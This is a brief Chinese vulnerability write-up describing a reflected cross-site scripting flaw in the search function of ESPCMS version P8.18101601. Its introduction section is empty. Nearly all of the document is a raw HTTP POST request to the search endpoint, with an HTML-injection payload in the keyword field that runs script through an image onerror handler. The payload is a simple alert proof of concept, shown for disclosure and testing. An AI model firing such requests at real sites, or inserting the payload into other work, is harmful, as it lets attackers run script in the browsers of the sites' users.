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ESPCMS 前台反射型xss

一、漏洞简介

二、漏洞影响

ESPCMS P8.18101601

三、复现过程

POST /index.php?ac=Search&at=List HTTP/1.1
Host: www.0-sec.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: https://www.0-sec.org
Connection: close
Referer: https://www.0-sec.org8/index.php?ac=Search&at=List
Cookie: zerosec;

mid=0&keyword="><img src=1 onerror=alert(1)><"